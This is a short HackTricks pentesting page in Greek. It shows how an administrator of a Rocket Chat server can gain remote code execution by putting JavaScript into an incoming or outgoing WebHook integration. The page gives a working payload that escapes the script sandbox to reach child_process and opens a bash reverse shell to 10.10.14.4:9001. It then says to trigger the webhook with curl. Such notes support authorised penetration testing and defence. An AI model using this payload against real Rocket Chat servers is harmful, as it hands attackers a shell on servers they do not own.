mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
1.9 KiB
1.9 KiB
Rocket Chat
{{#include ../../banners/hacktricks-training.md}}
RCE
Αν είστε διαχειριστής μέσα στο Rocket Chat μπορείτε να αποκτήσετε RCE.
- Πηγαίνετε στο
Integrations
και επιλέξτεNew Integration
και διαλέξτε οποιοδήποτε:Incoming WebHook
ήOutgoing WebHook
. /admin/integrations/incoming

- Σύμφωνα με τα docs, και οι δύο χρησιμοποιούν ES2015 / ECMAScript 6 (βασικά JavaScript) για να επεξεργαστούν τα δεδομένα. Έτσι, ας αποκτήσουμε ένα rev shell για javascript όπως:
const require = console.log.constructor("return process.mainModule.require")()
const { exec } = require("child_process")
exec("bash -c 'bash -i >& /dev/tcp/10.10.14.4/9001 0>&1'")
- Ρυθμίστε το WebHook (το κανάλι και η ανάρτηση ως όνομα χρήστη πρέπει να υπάρχουν):

- Ρυθμίστε το σενάριο WebHook:

- Αποθηκεύστε τις αλλαγές
- Αποκτήστε το παραγόμενο URL WebHook:

- Καλέστε το με curl και θα πρέπει να λάβετε το rev shell
{{#include ../../banners/hacktricks-training.md}}